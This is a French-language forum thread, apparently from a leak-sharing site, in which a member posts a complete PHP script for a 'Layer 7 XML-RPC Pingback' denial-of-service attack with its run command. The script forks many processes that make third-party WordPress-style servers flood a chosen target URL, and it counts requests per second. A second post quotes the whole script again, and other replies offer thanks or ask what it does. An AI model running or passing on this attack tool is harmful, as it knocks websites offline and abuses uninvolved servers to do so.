Layer 7 XML-RPC Pingback (PHP)

MWHAX7

VeryLeak's Unique Member 👑
Level 5
VeryFriend's

Torrents Stats

Messages
573
J'aime
827
Trophées
1 404
Inscrit
22 Décembre 2015
BxERRlK.png

PHP:
<?php

function partition( $list, $p ) {
        $listlen = count( $list );
        $partlen = floor( $listlen / $p );
        $partrem = $listlen % $p;
        $partition = array();
        $mark = 0;
        for ($px = 0; $px < $p; $px++) {
                $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
                $partition[$px] = array_slice( $list, $mark, $incr );
                $mark += $incr;
        }
        return $partition;
}

$part = array();
$array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$childcount = $argv[2];
$part = partition($array, $childcount);

$shm_id = shmop_open(23377332, "c", 0666, 1024);
shmop_close($shm_id);

if(pcntl_fork() == 0)
{
        $sem = sem_get(13377331, 1, 0666, 1);
        $shm_id = shmop_open(23377332, "c", 0666, 1024);
        $total = 0;
        while(true)
        {
                sem_acquire($sem);
                $number = shmop_read($shm_id, 0, 1024);
                $total += $number;
                $string = array();
                array_push($string, $number);
                array_push($string, " R/s ");
                array_push($string, $total);
                array_push($string, " Total Requests                              \r");
                echo implode("", $string);
                unset($string);
                shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
                sem_release($sem);
                sleep(1);
        }

        exit;
}

for($i = 0; $i < $childcount; $i ++)
{
        $pid = pcntl_fork();
        if ($pid == -1) {
                echo "failed to fork on loop $i of forking\n";
                exit;
        } else if ($pid) {
                continue;
        } else {
                $sem = sem_get(13377331, 1, 0666, 1);
                $shm_id = shmop_open(23377332, "c", 0666, 1024);
                while(true)
                {
                        foreach($part[$i] as $ip)
                        {

                                list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
                                $url = array();
                                array_push($url, $argv[1]);
                                array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
                                array_push($url, rand(1000000, 9999999));
                                array_push($url, "=");
                                array_push($url, rand(1000000, 9999999));
                                $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
                                unset($url);
                                $context = stream_context_create(array('http' => array(
                                        'method' => "POST",
                                        'header' => "Content-Type: text/xml",
                                        'content' => $request
                                )));
                                @file_get_contents($service, false, $context);
                                sem_acquire($sem);
                                $number = shmop_read($shm_id, 0, 1024);
                                $number = intval($number);
                                $number++;
                                shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
                                sem_release($sem);
                        }
                }
                die;
        }
}

for($j = 0; $j < $childcount; $j++)
{
        $pid = pcntl_wait($status);
}
Code:
php xml.php xml.txt 10000
 

Anima's Leak

Master 🏆
Level 4

Torrents Stats

Messages
112
J'aime
216
Trophées
873
Inscrit
5 Juin 2017
merci beaucoup 😁
 

Anima's Leak

Master 🏆
Level 4

Torrents Stats

Messages
112
J'aime
216
Trophées
873
Inscrit
5 Juin 2017
63d55772a6dd411c2d7730be905ceb4d.png

PHP:
<?php
 
function partition( $list, $p ) {
        $listlen = count( $list );
        $partlen = floor( $listlen / $p );
        $partrem = $listlen % $p;
        $partition = array();
        $mark = 0;
        for ($px = 0; $px < $p; $px++) {
                $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
                $partition[$px] = array_slice( $list, $mark, $incr );
                $mark += $incr;
        }
        return $partition;
}
 
$part = array();
$array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$childcount = $argv[2];
$part = partition($array, $childcount);
 
$shm_id = shmop_open(23377332, "c", 0666, 1024);
shmop_close($shm_id);
 
if(pcntl_fork() == 0)
{
        $sem = sem_get(13377331, 1, 0666, 1);
        $shm_id = shmop_open(23377332, "c", 0666, 1024);
        $total = 0;
        while(true)
        {
                sem_acquire($sem);
                $number = shmop_read($shm_id, 0, 1024);
                $total += $number;
                $string = array();
                array_push($string, $number);
                array_push($string, " R/s ");
                array_push($string, $total);
                array_push($string, " Total Requests                              \r");
                echo implode("", $string);
                unset($string);
                shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
                sem_release($sem);
                sleep(1);
        }
 
        exit;
}
 
for($i = 0; $i < $childcount; $i ++)
{
        $pid = pcntl_fork();
        if ($pid == -1) {
                echo "failed to fork on loop $i of forking\n";
                exit;
        } else if ($pid) {
                continue;
        } else {
                $sem = sem_get(13377331, 1, 0666, 1);
                $shm_id = shmop_open(23377332, "c", 0666, 1024);
                while(true)
                {
                        foreach($part[$i] as $ip)
                        {
 
                                list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
                                $url = array();
                                array_push($url, $argv[1]);
                                array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
                                array_push($url, rand(1000000, 9999999));
                                array_push($url, "=");
                                array_push($url, rand(1000000, 9999999));
                                $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
                                unset($url);
                                $context = stream_context_create(array('http' => array(
                                        'method' => "POST",
                                        'header' => "Content-Type: text/xml",
                                        'content' => $request
                                )));
                                @file_get_contents($service, false, $context);
                                sem_acquire($sem);
                                $number = shmop_read($shm_id, 0, 1024);
                                $number = intval($number);
                                $number++;
                                shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
                                sem_release($sem);
                        }
                }
                die;
        }
}
 
for($j = 0; $j < $childcount; $j++)
{
        $pid = pcntl_wait($status);
}
Code:
php xml.php xml.txt 10000
Ton code marche pas upload_2017-7-18_18-24-33.png

Source :
http://i.imgur.com/BxERRlK.png


Source :
lien ou image supprimée
 

Fichiers joints

  • upload_2017-7-18_18-24-44.png
    upload_2017-7-18_18-24-44.png
    273.2 KB · Affichages: 1

MWHAX7

VeryLeak's Unique Member 👑
Level 5
VeryFriend's

Torrents Stats

Messages
573
J'aime
827
Trophées
1 404
Inscrit
22 Décembre 2015

tommo

Master 🏆
Level 2

Torrents Stats

Messages
197
J'aime
44
Trophées
805
Inscrit
1 Septembre 2017
Bonjour, je m'y connais pas vraiment en info mais ces lignes de codes servent à quoi?
j'maitrise que le html css python XD
 
Haut Bas